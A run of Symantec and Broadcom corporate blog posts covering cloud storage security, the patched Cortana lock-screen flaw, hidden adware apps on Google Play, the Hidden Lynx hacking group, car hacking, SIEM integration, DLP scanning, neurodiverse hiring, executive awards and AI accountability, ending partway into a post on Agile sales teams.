In the cloud world, you can literally launch services and standup an entire data center within minutes by pressing some buttons – which is awesome by the way! You can take almost anything that someone gives you, drop it into an S3 bucket and publish a link. Gone are the days where you need to go through the conventional IT procurement process to get up and going.
It’s not that most employees acting in this way are malevolent or out to inflict harm on the organization. They’re just eager to get the job done. This is why people (including me) love the cloud so much: we can do so much more, faster, and with less resources. But because we can do this faster, and in a self-service manner, companies haven’t established procedures to make sure we’re doing things securely.
And it’s not as if there aren’t adequate security controls around S3 or other cloud services. In fact, after AWS saw customers using S3 incorrectly, it released Trusted Advisor checks for S3 for free. In the end, everything depends on the person actually pulling the levers on the cloud. Let’s not kid ourselves; the truth is that too many of them are going to make mistakes.
Advice to CISOs:
Your first order of business should be to understand how you’re using the cloud - or even whether you’re using it all. I’ve encountered situations where the security team didn’t even know the company was storing sensitive data in the cloud. A good tool for this is Symantec Cloud Workload Protection (CWP) for Storage. If you haven’t played with this product, you should give a shot. You can try it absolutely free for 30 days in the AWS Marketplace, and if you decide to keep using it you only pay for what you scan: no contracts.
The great thing about CWP for Storage is not only does it scan for malware in objects that you upload to S3, it also automatically discovers your S3 buckets and alerts you to policies that go against AWS Best Security Practices. This is a great tool if you’re one of those companies that doesn’t have a cloud security expert (or the time to become one) and need to know if you’re using S3 correctly. A lot of our customers really like the fact that you can stand up CWP for Storage in your own VPC and that the solution automatically scales up and down to save you on costs.
If you’re interested to learn more, check out our case study on How Snapper Protects Amazon S3 with CWP for Storage.
Learn more about Cloud Workload Protection Here
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Hey Cortana, I Just Hacked You With My Voice
BlackHat 2018 presentation reveals how easy it was for Israeli undergrads to find a way to use voice commands to take over a locked Windows device
An Israeli professor’s challenge to his students led to the recent discovery of security flaws in Microsoft’s Cortana voice assistant that allows attackers to take over a locked Windows machine and execute arbitrary code. (Microsoft has since patched the vulnerability.)
The finding, detailed during a presentation at the Black Hat cyber security conference in Las Vegas on Wednesday, spotlighted the potential vulnerabilities associated with the use of voice-assisted devices.
Voice-controlled digital assistants such as Amazon’s Alexa, Google’s Assistant and Microsoft’s Cortana are being incorporated across a range of digital devices in growing number. Nearly half of U.S. adults (46%) now say that they use these applications to interact with smartphones and other devices, according to a Pew Research Center survey. The advent of these products has touched a responsive chord. Consider some of the reasons people offered to Pew Research why they use assistants:
55%: To interact with devices without using their hands
23% They find them to be fun
22% Speaking to a digital assistant feels more natural than typing
All that may be true but the BlackHat presentation also underscored the potential security risk in using these devices in an enterprise setting.
For instance, Microsoft Cortana, which is enabled by default in Windows 10, doesn’t only come installed on many mobile and IoT devices. Windows 10 also comes bundled on most computers and laptops bought by businesses.
However, the researchers discovered that these digital assistants remain ready to respond to users’ commands even when the machine may be locked and a Cortana vulnerability would let attackers take control of a locked Windows 10 machine through a combination of voice commands and network trial-and-error to deliver a malicious payload to the victim machine.
Visit Symantec at BlackHat:
See our cryptojacking simulation and visit us at booth #912 at Black Hat where you can view the simulation during Business Hall hours (10 a.m. – 7 p.m. PT on Wednesday, August 8 and 10 a.m. – 5 p.m. PT on Thursday, August 9).
At BlackHat, the researchers demonstrated how the “Open Sesame” vulnerability, as they call it, allowed attackers to view the contents of sensitive files, browse arbitrary web sites, download and execute arbitrary executables from the Internet, and under some circumstances gain elevated privileges.
What’s more, they showed how attackers wouldn’t need to deploy any external code or shady system calls to exploit the vulnerability. The upshot was to render antivirus and antimalware products blind to the attack.
The issues with Cortana were first uncovered as part of a Technion undergraduate course called Information Security Project, taught by Amichai Shulman. He said that it took his students just three months to come up with a list of vulnerabilities.
Microsoft was subsequently notified and has patched the flaws. Microsoft also rewarded the students through their Bounty Program, which offers payments to individuals who alert the company to possible security issues in its products.
“Adding functionality on a locked screen is a very slippery slope,” said Shulman.
Shulman described Microsoft's assistant as "an intent resolution engine" that will translate natural language inputs into an action carried out by the computer. After an attacker invokes the system with "Hey Cortana," that frees them to use the keyboard to execute code on a locked device.
“We have to understand that Lock Screen is not magic,” he said. “It is merely another desktop…and if we allow more and more functionality on lock screen, the attack surface increases.”
At another point in the demonstration, the researchers were able to deploy voice commands to get Cortana to browse to non-secure websites. In that kind of scenario, an intruder could then launch an attack because the page lacks encryption.
In a similar vein, Shulman’s colleague, security researcher, Tal Be'ery, left the audience with this bone to chew on.
“Every component worked the way as intended,” he said. “But no one was looking at the big picture - that the computer would remain safe.”
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Hidden App Malware Found on Google Play
The 38 applications hide their presence on devices while they perform their malicious activity.
We recently discovered 38 malicious applications in the Google Play Store disguised as games and education apps. These malicious apps hide their existence on victims’ devices by removing their icons from home screen. They redirect victims to install another app on the Google Play Store that displays advertisements, and has minimal additional functionality. Furthermore, these malicious apps load several blog URLs in the background without the user’s knowledge.
"These 38 apps found on Google Play hide their presence on your phone, perform malicious activity https://symc.ly/2I9XKVa"
CLICK TO TWEET
The malicious apps (detected as Android.Reputation.1) were published to the Play Store in December 2017 by a developer called learningdevelopment, who listed the email address [email protected].
Figure 1. The Norton Mobile Security App Advisor for Google Play alerts users about these malicious apps
The apps claim to be games or education apps according to their display names on Google Play. To describe the behavior of these 38 malicious apps, we’ll take a look at one of them in more detail. Let’s look at com.aladdinandtheancientmagiclamp.aladdingames as an example.
Figure 2. The displayed name on the Google Play Store translates to "Aladdin and the Ancient Magic Lamp"
When the app is installed on a device, it has a fake app name of “Helper”.
Figure 3. The fake app name on the device after it is installed
Once the app launches, it immediately invokes the setComponentEnabledSettings API to have its icon removed from home screen, while it is still running actively in the background.
Despite the inability to provide the functions it claims to have, the malicious app forcefully redirects victims to install another app on the Play Store once it has been launched. The promoted app is named “Change my voice”, has the package name com.ModifySound.VoiceChanger, and it is developed by TopTech. Although the app does have simple functionality to modify voice recordings, it also displays a large number of advertisements.
The URLs lead to various blogs and it is likely the app is being used to increase web traffic to these sites.
While staying undercover, the malicious app has a background service that constantly checks the device’s network connectivity status. Once network connectivity is available, the app checks if the compromised device has installed any of the previously mentioned 37 malicious apps. If none of them are present, the app will load several URLs in the background. The URLs lead to various blogs and it is likely the app is being used to increase web traffic to these sites.
So far, the majority of users downloading these apps seem to be located in the U.S., U.K., South Africa, India, Japan, Egypt, Germany, Netherlands, and Sweden. The presence of the apps on the Google Play Store and the seemingly legitimate app names and descriptions allowed the apps to be downloaded onto at least 10,000 devices. Symantec has notified Google about these apps and they have been removed from the Play Store.
Protection
Symantec and Norton products detect these malicious apps as:
Android.Reputation.1
Mitigation
Stay protected from mobile malware by taking these precautions:
Keep your software up to date
Do not download apps from unfamiliar sites
Only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as Norton or SEP Mobile, to protect your device and data
Make frequent backups of important data
Figure 4. List of the 38 malware applications
File Attachments
Text file with SHA2s and package names used by the malware TXT3.43 KB
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Hidden Lynx – Professional Hackers for Hire
Symantec details an organized and resourceful hacking group believed to be among the best.
For the past few years, reports have continued to emerge detailing the activities of actors behind various targeted attacks or Advanced Persistent Threats (APTs). Here at Symantec Security Response, we’ve been keeping our eyes on a group that we believe are among the best of breed. We’ve given them the name of Hidden Lynx—after a string that was found in the command and control server communications. This group has a hunger and drive that surpass other well-known groups such as APT1/Comment Crew. Key characteristics of this group are:
technical prowess
agility
organized
sheer resourcefulness
patience
These attributes are shown by the relentless campaigns waged against multiple concurrent targets over a sustained period of time. They are the pioneers of the “watering hole” technique used to ambush targets, they have early access to zero-day vulnerabilities, and they have the tenacity and patience of an intelligent hunter to compromise the supply chain to get at the true target. These supply chain attacks are carried out by infecting computers at a supplier of an intended target and then waiting for the infected computers to be installed and call home, clearly these are cool calculated actions rather than impulsive forays of amateurs.
This group doesn’t just limit itself to a handful of targets; instead it targets hundreds of different organizations in many different regions, even concurrently. Given the breadth and number of targets and regions involved, we infer that this group is most likely a professional hacker-for-hire operation that are contracted by clients to provide information. They steal on demand, whatever their clients are interested in, hence the wide variety and range of targets.
We also believe that to carry out attacks of this scale, the group must have considerable hacking expertise at its disposal, perhaps 50 to 100 operatives are employed and organized into at least two distinct teams both tasked with carrying out different activities using different tools and techniques. These types of attacks require time and effort to carry out, some of the campaigns require research and intelligence gathering before any successful attacks can be mounted.
At the front line of this group is a team that uses disposable tools along with basic but effective techniques to attack many different targets. They may also act as intelligence collectors too. This team we call Team Moudoor after the name of the Trojan that they use. Moudoor is a back door Trojan that the team uses liberally without worry about discovery by security firms. The other team acts like a special operations unit, elite personnel used to crack the most valuable or toughest targets. The elite team uses a Trojan named Naid and are therefore referred to as Team Naid. Unlike Moudoor, the Naid Trojan is used sparingly and with care to avoid detection and capture, like a secret weapon that is only used when failure is not an option.
Since 2011, we have observed at least six significant campaigns by this group. The most notable of these campaigns is the VOHO attack campaign of June, 2012. What was particularly interesting about this attack was the use of the watering hole attack technique and the compromise of Bit9’s trusted file signing infrastructure. The VOHO campaign was ultimately targeting US defense contractors whose systems were protected by Bit9’s trust-based protection software but when the Hidden Lynx attackers’ progress was blocked by this obstacle, they reconsidered their options and found that the best way around the protection was to compromise the heart of the protection system itself and subvert it for their own purpose. This is exactly what they did when they diverted their attention to Bit9 and breached their systems. Once breached, the attackers quickly found their way into the file signing infrastructure that was the foundation of the Bit9 protection model, they then used this system to sign a number of malware files and then these files were used in turn to compromise the true intended targets.
For those interested in more in-depth information, we have published a whitepaper that describes the group and the attack campaigns carried out by them.
We have also put together an infographic that summarizes the key information about this prolific Hidden Lynx group.
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High-Tech Cars & Cyber Security: Separating Fact from Fiction
More sensors and software are going into cars all the time and that creates new security considerations. Here’s what you need to know
Imagine this scenario: As you you’re driving down the highway at 65 miles an hour, a hacker gains control of your car, then sends you into incoming traffic.
Here’s the good news: It’s very unlikely that will ever happen to you personally.
Here’s the bad news: It could still happen, and, if it happens, attackers are more likely to target millions of vehicles all at once, far more than a few vehicles one by one.
Even though the press covered such risks initially three years ago, car hacking is still so new that there's a lot of fear and misunderstanding about it. In this article we’ll delve into the real facts about it and clue you into what individuals and businesses do and don’t need to worry about.
Why Are Cars Hackable?
Why can cars be hacked? The reason is simple: They’re filled with lots of software and connectivity. Brian Witten, Head of Advanced Technologies, Office of the CTO at Symantec, notes that potential attack vectors include cellular connectivity, as well as Bluetooth, WiFi, and more. In the United States, over a third [MOU1] of cars are already connected to the Internet.
Even if you don’t have advanced features for streaming music or traffic updates to a navigation system, your car might still be connected to the Internet for simple automatic crash notification, saving lives.
Jake Williams, founder of the cyber security firm Rendition Infosec, says, “The more networking features a car has, the more potential it has for being hacked.”
A KPMG report, “Protecting the fleet…and the car business” notes, “The average car contains more than 150 million lines of code, plus multiple individual computers and a vast number of wireless connections to internal and external channels.” It says that as a result, cars now have more code embedded in them than an F-25 fighter or a Boeing 787.
It can seem almost impossible to protect automobiles, given their complex onboard systems and the logistics and money that would be required to fix all possible holes for millions of new and existing cars. A Symantec report, “Building Comprehensive Security into Cars,” warns, “Companies often use redundancies at critical IT layers to keep high-volume web services running reliably, but few, if any, carmakers can afford the NASA-like investment of doing this for every vehicle.”
Follow the Fleet
With that in mind, let’s go back to our original scenario. Why is it unlikely that hackers will target an individual car, especially given that’s already been done when an SUV was taken over and stopped cold by hackers when it was being driven 70 miles an hour on a highway?
The reason, Witten says, is that there’s a greater economic incentive for attackers to hack fleets rather than individual cars, and in many ways it’s actually easier to hack lots of similar cars indiscriminately, rather than try to find a specific vehicle belonging to a single owner.
“It can take a few people less than a year to learn how to hack into cars,” he says. “But once you figure out how to hack into a type of car in general it's often easier to hack the whole fleet than a single car. Once you figure out how to hack one brand, you've pretty much figured out how to hack nearly any new car of that brand. And it's easier to just hack them all over the Internet than to find one that a specific person is driving.”
Cars now have more code embedded in them than an F-25 fighter or a Boeing 787.
There are many potential incentives for hacking entire fleets. Imagine your car failing to start but displaying a number to which you need to wire money if you want your car to start. As such “automotive ransomware” risks become more likely, not all incentives are financial. For instance, foreign governments could do the hacking as part of a cyber attack on a nation’s basic infrastructure.
“Fleet hacking is a lot more tractable than a lot of people realize,” Witten says.
Many people agree with him. Elon Musk believes it will be a particularly serious problem when autonomous vehicles become more widespread. “I think one of the biggest risks for autonomous vehicles is somebody achieving a fleet-wide hack,” he said at the National Governors Association meeting last summer. The federal government has also started to take notice. The Department of Homeland Security (DHS) and the Department of Transportation (DoT) have been working on cyber security for the federal government’s fleet of vehicles.
What Can Be Done About It?
What to do if you’re worried about getting hacked? First, check to make sure that your car’s software is updated by checking with the dealer. Many carmakers are in the process of fixing vulnerabilities in vehicle software.
Some are able to fix those vulnerabilities with updates sent “over the air” using the cellular network, but other automakers can only fix such vulnerabilities when the vehicle is brought in for regular maintenance.
Still, with so many attack vectors, nothing is perfect. In addition to cellular modems that are needed to save lives through Automatic Crash Notification (ACN), some of the risks to the vehicle might be in the supply chain itself.
The answer, according to Witten, is that auto makers need to recognize the dangers of fleetwide hacking, and build wide-ranging security into cars, including a comprehensive security architecture, cryptographically protecting communications into and out of automobiles, working in concert with network operators who supply cars’ connectivity, and building a vehicle security operations center where analysts can hunt security threats on at a fleetwide scale, and other systemwide protections.
“You’ve got to do all that, and also keep everything up to date, because security is never finished,” he says. “The adversary is nimble, and if you’re not agile, they are. And they’re going to eat your lunch if you’re not prepared.”
If you found this information useful, you may also enjoy:
Building Comprehensive Security into Cars
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Higher Intelligence: Azure Sentinel Integration Through ICDx
How a Symantec-MS integration blocks morphing threats from sneaking through to steal your data and wreak havoc
A cyber security strategy, like a military strategy, depends on intelligence. And information is the raw material of intelligence. The good news is there is more information than ever. The bad news is the sheer quantity of information and the growing number of information sources. The challenge of sifting through it all to find real threats, not false positives, keeps getting tougher. Alert fatigue increases the possibility that ever-morphing threats will sneak through to steal data and wreak havoc on your systems.
A defensive strategy built on fragmented tools won’t get the job done. Chances are you don’t have a staff large enough to pay attention to dozens of different tools. It’s not that you don’t need multiple tools – you do – but integration and unification are needed. That’s why we have integrated Symantec Integrated Cyber Defense (ICD) and Microsoft Azure Sentinel through ICD Exchange (ICDx). Here’s what you need to know:
Integrated Cyber Defense (ICD)
First, Symantec’s ICD is a platform that integrates products, services and partners. ICD combines information protection, threat protection, identity management, compliance and other advanced services, powered by shared intelligence and automation across endpoints, networks, applications and clouds. Symantec TIPP (Technology Integration Partner Program) partners create integrations – there are more than 250 so far. Click here for more details about ICD.
In February, we announced ICDx, a layer of free software that takes integration to the next level. ICDx features include:
A unified event model that makes it easy to standardize the rich data sets created by Symantec products
Built-in data archiving
A wide selection of pre-built collectors and forwarders to simplify integration, data filtering and storage
Streamlined orchestration of real-time actions targeting multiple products simultaneously
A variety of dashboard views to query and display critical attributes and metrics
Free front-end viewers for Splunk, ServiceNow, Elastic and other popular SOC tools
APIs for custom integrations.
Azure Sentinel
The day after we announced ICDx, Microsoft announced Azure Sentinel, a cloud-based Security Information and Event Management (SIEM) system. Azure Sentinel collects security data across your hybrid organization from devices, users, apps and servers on any cloud. What’s more, Microsoft will let you import user and activity behavior data from Office 365 into Azure Sentinel for free. Most important, Azure Sentinel adds the power of AI to sift through results to find the real threats quickly.
Because it’s cloud-based, Azure Sentinel frees you from the burden of setting up and maintaining infrastructure to run a SIEM system – which can be expensive. Instead, you pay for what you use. Scott Woodgate, Senior Director of Microsoft Azure Management and Security Marketing, explains:
“As threats continue to evolve and the volume of data continues to expand, customers want to move beyond on-premises SIEM systems, which are not well-designed for importing cloud information and can’t store it all. Azure Sentinel is cloud-native, and it connects to every type of security tool. It collects information into a database, performs analytics and delivers actionable alerts.”
AI is Essential
This isn’t just another partnership announcement. It’s about preventing cyber mayhem from happening to you. Because attacks are constantly changing and they are better disguised than ever, integration and AI are key. Consider Dragonfly.
Dragonfly 1.0 emerged way back in 2011, using email, watering hole attacks and Trojanized software to pierce defenses. Then Dragonfly hibernated for a while, later to re-emerge as Dragonfly 2.0 from 2015-2017, again using a variety of attack vectors with files masquerading as Flash updates that installed malicious backdoors. This time, Dragonfly targeted the energy sector, with disruption as a possible goal. It took Symantec’s AI capabilities on top of our global telemetry information base to discover Dragonfly.
Could you have predicted Dragonfly 2.0 based on what you knew about Dragonfly 1.0? There are many more attacks that we once thought were under control. Maybe they have just gone dormant. Any of them can take on a new shape and attack us in new ways. AI capabilities can spot the subtle anomalies that are signs of new and re-emerging threats.
Because attacks are constantly changing and they are better disguised than ever, integration and AI are key.
ICD is vital for an effective security strategy. Its solution set builds on our decades of experience analyzing telemetry from consumer and enterprise endpoint protection products, and now combines that information with network data, both on premises and in the cloud, that is generated by Symantec’s suite of network security products. While not every company can build the sophisticated data lakes and analytics capabilities that detect targeted attacks such as Dragonfly, combining the “data gravity” of ICD telemetry with Azure Sentinel through ICDx brings to bear both Symantec and Microsoft AI capabilities.
Azure Sentinel’s machine learning (ML) algorithms correlate millions of low-fidelity anomalies, connecting the dots to present you with a few high-fidelity security incidents. For example, you can quickly see a compromised account that was used to deploy ransomware in a cloud application.
The ML models in Azure Sentinel are based on Microsoft’s work in protecting customers’ cloud assets, but you can bring your own models to Azure Sentinel through its ML service. Also, you can build hunting queries and Azure Notebooks that are based on Jupyter Notebooks. And once you have solved a problem, you can automate your response.
Integration and Unification
In short, via ICDx and Azure Sentinel we can bring it all together for our customers, combining information from ICD with Office 365, Azure AD and other sources to provide comprehensive visibility. Azure Sentinel ML cuts through the reams of data to isolate real threats. During Azure Sentinel evaluations, Microsoft has seen an overall drop of up to 90 percent in alert fatigue.
How can you give this a try? Very simple. Go to the Azure portal, create a new Azure Sentinel service, then connect to the ICDx connector. If you’re coming from the ICD side, just deploy ICDx and enable a forwarder to submit data to Azure Sentinel log analytics.
Azure Sentinel integration through ICDx gives you the benefits of both breadth and depth: A wide view of what’s going on by combining the results of many tools – while examining potential threats in depth thanks to AI and ML. It’s the intelligence your cyber security strategy needs.
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High Speed Discovery with Symantec DLP 16
Achieving throughput of up to 1TB/hour while scanning on-prem file/network shares
This continues our blog series on Symantec Data Loss Prevention (DLP) 16 where we have been discussing a number of new features and capabilities. We are excited to showcase High Speed Discovery for File Systems, a feature that can enable organizations to scan more and more data in their on-prem network shares in a shorter time span. It enables organizations to achieve high scan throughputs of up to 1TB/hour while scanning on-prem file/network shares.
Real World Data Discovery Challenges
Today organizations deal with a lot of data. There are terabytes or even petabytes of data that have been lying in organizations for decades and new data are being added every second. Scanning such huge volumes of data has been both time consuming and resource intensive.
One of the common use cases that we hear from our customers is for Audit purposes. Organizations need to scan all their data on a regular basis to ensure audit compliance. However, achieving this is challenging because of the current scan speeds, petabytes of data, and the dynamic nature of new data growth. This complexity adds to the difficulty to accurately identify and scan all this data in time for audit.
To add further to the challenge, new compliance regulations are introduced frequently across the globe or to specific industries, which makes it imperative for organizations to ensure compliance at regular intervals, because the cost of not doing so is extremely high. Again, the current scanning speeds make it very difficult to scan such high volume data sets in a timely manner.
At Symantec, by Broadcom Software, we are committed to providing solutions to the hardest problems in data protection.
We are also seeing many of our customers move their data to the cloud. However, this is not always straightforward as some want to scan and identify data that is critical to them and retain that data on-premises. For example, consider a large enterprise that has decades of data, managing and orchestrating the data discovery process can feel never ending as the process is both highly time and resource intensive.
At Symantec, by Broadcom Software, we are committed to providing solutions to the hardest problems in data protection. High Speed Discovery is one of these solutions.
How does High Speed Discovery help?
In DLP 16, we provide a solution to these problems by introducing a newly re-architected Discovery solution to scan File systems i.e. File System High Speed Discovery. This enables organizations to scan more and more data quickly, ensuring data compliance and achieving high scan throughputs of 1 TB/hour or more depending on the environment.
Customers that participated in the DLP 16 beta test program expressed excitement about this feature making it one of the most anticipated features they were looking forward to. It not only offers industry leading performance but also optimum utilization of their resources.
File System High Speed Discovery overcomes many of the limitations that are currently faced with on-prem file system scanning. Some of the major benefits include -
The new architecture not only supports larger clustering of servers but also the performance increases linearly as the scale increases
These servers that are clustered together work independently and simultaneously to scan a larger file share. As there is no dependency on each other or any other server, performance can be optimized based on external environmental factors
Scans are simpler to administer as a single target can be used to represent a large share or shares from multiple file servers
The same set of servers can be assigned to multiple shares to scan at the same time.
The DLP File System High Speed Discovery solution offers one of the highest speeds to scan on-prem data in the market and is one of our key differentiating features. As many organizations are and will continue to work in a hybrid mode in their cloud journey, this new solution will elevate their experience to discover and protect data in their on-prem environment.
To summarize, as organizations scale their High Speed Discovery server setup they will observe higher scan throughput of up to (but not limited to) 1 TB/hour depending on certain factors like network I/O speeds, files being scanned, DLP policies, etc.
What Next?
We understand that the need to discover more and more sensitive data at a high speed goes beyond network and file shares. And we are committed to offering solutions that would make data discovery easier, faster and more convenient. File System High Speed Discovery is the first step in that direction. Symantec will continue to invest to achieve this goal and to discover and protect more and more data.
Read more about High Speed Discovery here.
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Hiring on the Autism Spectrum
They may be hard to find and require sensitive management, but info security workers on the autism spectrum are worth the effort
It’s always nice when doing good intersects with smart business practices. One set of researchers is proposing that people high on the autism spectrum, who frequently have difficulty finding good jobs, may be particularly well-suited to info security careers.
The Autism Society reports that 1 out of 68 Americans live with Autism Spectrum Disorder – about 3.5 million people; the advocacy group Autism Speaks says that only 14 percent of them have full-time paid work. The British National Crime Agency found in 2017 that that ASD “appears to be more prevalent amongst cyber criminals than the general populace,” although appears to be no quantitative data that specifies the percentage of cyber security professionals with ASD.
A panel at this summer’s Black Hat conference presented a study that surveyed 290 computer security pros who had been diagnosed with Autism Spectrum Disorder. Results from the online survey indicate that ASD workers experience trouble with sensory issues including ambient noise and high-traffic social areas. They also report incidences of bullying and stressful relationships with co-workers.
One set of researchers is proposing that people high on the autism spectrum, who frequently have difficulty finding good jobs, may be particularly well-suited to info security careers.
“We always try to push people to be innovative and think outside the box,” said Casey Hurt, member of the panel and an information security manager for the US government, said in an interview. “And most people with autism don't have a box to start thinking outside of, so they're able to look at a problem from views that I could never imagine. When it comes to complex problems that don't have a starting point, they're able to tackle them in a way unlike most of my other employees.”
Hurt is a former boss of Rhett Greenhagen, 31, who was diagnosed with autism at the age of 14 and has been working for the US military and in the intelligence community for more than 10 years. What sets people like Greenhagen apart from his peers, Hurt said, is his ability to see patterns in what appears to be masses of undifferentiated data. “There was no doubt I could hand someone like Rhett a massive log file of 700 to 800 gigabits of pure text and he would find things that most analysts wouldn't be able to find. Which lead to the ability to build dashboards of stuff that we wouldn't have had otherwise.”
Greenhagen says that he’s always worked in infosec, except for a short time as a Windows sysadmin (which both Hurt and Greenhagen say he wasn’t very good at). “It was always around hacking, it was always around cyber security. Most of it was just intelligence-based. I just came to find out that I'm highly technical and highly intelligent; it just meshed into one. It's all I've ever done.”
But that success comes at a price: Hurt says a manager has to be aware of the particular requirements of an ASD employee and find ways to work with their atypical backgrounds and needs. Those, inevitably, affect the rest of a team, too.
“Instead of having 28 analysts all doing the same thing” and typically working an entire project from end to end, Hurt said, “I had people that were a little more customer-facing and people that were a little more data-facing in datacentric type jobs, to allow group A to feed into group B. It definitely changed my perspective on how I look to manage my teams going forward.”
Also, the survey noted that a “normal” office environment is not always right for someone on the autism spectrum. Changing that, though, may look like favoritism. “The more that people saw the value of what was coming out of what Rhett was doing, that kind of fixed itself,” Hurt says. “But you had to deal with the perception upfront.”
Greenhagen says that interpersonal communication is frequently a problem for him, and something he’s worked hard at, but still feels keenly that he is envious of other people’s skills at doing things like changing a tire while others are envious of his professional abilities.
“It was very interesting to see how alienated a lot of the people in the industry who are on the autism spectrum felt,” Hurt says of the study. “For a lot of people, it seemed hard to differentiate between the way they view the world and other people and how that impacted those interactions at work and their long-term employment.” It’s hard to get employers to “recognize that there is someone with an extremely valuable talent that they need to work around properly to take advantage of.”
Finding someone with that particular talent set requires looking outside of the usual channels. Greenhagen says he bounced from college to college, never getting a degree, and gets work essentially by being handed from boss to boss.
“I haven't interviewed for a job in a very, very long time. Greenhagen says. “I haven't even had to have a resume in a really long time because I kept on getting passed from manager to manager to manager to manager. I'd get bored at one place and they knew it was time for me to leave so they'd help me find another job. That's just the way it's always been.”
“It definitely comes down a lot to respect and trust, that once I trusted Rhett that there's no doubt that he's being honest with me,” Hurt says. “And vice versa. Rhett had to trust me, or we weren't gonna get anywhere. And I really think that was the key to being a manager in that situation.”
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Hock Tan Named to CRN’s Top 100 Executives List for 2022
Redefining value through innovation for customers & partners
Hock Tan, Broadcom’s transformative president and CEO, was recognized today as the No. 1 Disruptor on the “Top 25 Disruptor” list, part of CRN’s annual Top 100 Executives list for 2022. The yearly list highlights industry leaders who are dedicated to the channel and sharply focused on creating opportunities within the partner ecosystem.
Being named specifically to the Disruptor list is apt. Under his leadership, Broadcom has pursued a strategy of high-profile enterprise software acquisitions highlighting the importance of the channel, including CA Technologies and the Symantec Enterprise Security business from Symantec Corporation. Through this strategy, Mr. Tan and the Broadcom Software leaders have committed to innovation and have redefined how vendors deliver value for both customers and partners.
“Winning leaders embrace innovation while going all-in with partners in their commitment to accelerating business growth and digital transformation for their customers,” said Blaine Raddon, CEO of The Channel Company. “Their exceptional vision, know-how and execution contributed significantly to the strength of their companies, partners, customers, and the IT channel as a whole. Congratulations to all included on the CRN 2022 Top 100 Executives list for successfully bringing channel-focused innovation to the market, enabling new growth opportunities, and producing one channel success story after another.”
Mr. Tan is Broadcom President, Chief Executive Officer and Director. He has held this position since March 2006.
CRN is a brand of The Channel Company. The full list of Top 100 Executives for 2022 is here.
Learn More
Read more about how Broadcom is driving innovation:
Visit the Broadcom and Broadcom Software sites
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Hock Tan Receives WITSA Eminent Persons Award
Recipients of the Eminent Persons Award are leaders in their fields
Hock Tan, Broadcom’s president and CEO, was honored with the Eminent Person Award from the World Innovation, Technology and Services Alliance (WITSA). This is WITSA’s highest award and since its creation in 2010, has recognized individuals who have made significant contributions to the lives of others. It is presented annually at the World Congress on Innovation & Technology (WCIT), a prestigious global technology event, which this year occurred in Mr. Tan’s birth country of Malaysia.
Recipients of the Eminent Person Award are leaders in their fields – technological or otherwise – who have made a profound positive difference in the lives of others. WITSA recognized Mr. Tan not only for his tremendous leadership of Broadcom, which has made groundbreaking technology advances and has become one of the leading infrastructure technology companies in the world during his tenure, but also for his philanthropic efforts. These include his support of the Broadcom Foundation, which funds STEM education programs for students globally, and his longtime commitment to fund neurodiversity research to improve the work-life of disabled young adults.
Mr. Tan is in prestigious company as an honoree, with past award recipients including:
Nelson Mandela, former President of South Africa,
Dr. Vinton Cerf and Dr. Bob Khan, co-fathers of the Internet
The Honorable Sheikh Hasina, the Prime Minister of Bangladesh
Smartphone pioneer Mike Lazaridis
In accepting the award, Mr. Tan stated: “I am humbled by this recognition. For all of the good fortune that I’ve had, and all of the great work that we have done at Broadcom over the last 15-plus years, I am most proud of the positive impact we’ve made on the lives of so many. While there are many career milestones I could speak to today, it is giving back to others that stands out – and which continues to motivate me every day.”
Learn More:
Visit the Broadcom and Broadcom Software sites
Don’t miss the deeper insights and expert analysis in the Broadcom and Broadcom Software blogs
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Holding AI Accountable
From RSA: How do we know the answers AI delivers are correct?
Artificial intelligence (AI) can recognize patterns in data and associate probable outcomes with stunning accuracy – or, so we think. By and large, we seem to inherently trust AI—rarely is it asked to show its work.
I attended a panel at RSA today on “The Calculated Risk of AI.” One panelist, Michael Troncoso, works for a healthcare institute and related the impact of AI on the field of radiology. Radiologists might be asked to view as many as 100 to 150 images a day, from a broken wrist to a lung mass to more, all in rapid succession. Radiology is also an area of healthcare that is a target for lawsuits. If a radiologist misses something or misdiagnoses what she sees, the door is wide open for a lawsuit.
Zebra Medical Vision has created an algorithm that scans radiology images for a mere one dollar per scan. Troncoso mused, “Why wouldn’t we use AI?” AI could catch something that a human might miss, or it could validate a radiologist’s diagnosis. Both scenarios mean less time in court—as long as AI can defend itself.
The panelists all asked, how does AI reach its conclusions? If AI is to be trusted with a medical diagnosis, where to build a road, or when a person’s qualifies for a loan, then AI needs to be held accountable.
Another panelist, Stephen Wu of the Silicon Valley Law Group, talked about the ethical questions posed by autonomous cars. He is for greater governance—i.e., what if an autonomous car runs into a woman with a baby trolley? Careens into a crowd? Or crashes into a wall that will surely kill the driver? A human would likely sacrifice himself before he kills another, but who among us is going to buy a car that we know will sacrifice us when there’s danger?
A final example from the panel concerned privacy. What role does AI play? Machine learning works to find commonalities in patterns. Piecing together information that can result in identifying a person is easily achieved with artificial intelligence. Currently, regulations are either enacted or are coming globally that require the consent of an individual when his personal data is processed or monitored. How can that be governed or regulated regarding AI? We need people working on this scenario.
At the close of the session, Wu outlined two key rights in security law that are coming:
If you are a data subject of automated data processing, you have a right to an explanation as to how the data processing reached a decision that impacts you.
You have a right to a human involved to take a second look at a case that was determined by an automated decision.
The field of “AI accountability” is wide open for innovators to step in and develop systems to help AI explain itself. Without these explanations, we put our lives in the hands of systems, and not humans. Then where are we? The panelists concluded by encouraging everyone to take an interest in AI’s potentially vast impact. They stressed the need for an inter-disciplinary approach to the governance of AI: legal, business, security, consumer rights advocates, all of us must participate if we’re to keep the humanity in the decision-making that affects humans.
Join Symantec at RSA Conference 2018 Booth #3901 North Expo Hall. Click Here for the schedule and follow @Symantec on Twitter for highlights.
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How Agile Scrum is Transforming Sales Teams at Broadcom Software
How we work is important
Part of my role as Broadcom Software’s VP of International Markets, is to think about the future. And like most of you, I never expected to see a once-in-a-generation pandemic that forced once-in-a-generation change.
Businesses responded to the historic challenge by accelerating their rate of cloud adoption and in relatively short order, the enterprise world went entirely remote. This was the epitome of digital transformation, as companies seemingly overnight adjusted their work routines, putting measures in place that allowed their employees to securely access data and telecommute full-time.
But now that Covid is – hopefully – receding, enterprises need to take stock of their processes to make sure they’re staying current in a very different work environment. It’s impossible to predict where we’ll be a decade from now, but it’s fair to assume that hybrid work arrangements, with some people working remotely while others go to an office, will remain the norm for quite some time.
In the interim, we, as business leaders, need to think about ways to maximize the opportunities for employees to be successful, no matter where they work. Particularly when it comes to enterprise sales.
That's what's driven us toward the concept of the Agile Scrum, a philosophy that Broadcom Software decided to adopt for our international sales team.
The turn to Agile Scrum is particularly useful if you work in an organization that’s built upon a hierarchy – which is the way it usually works in most enterprise organizations.
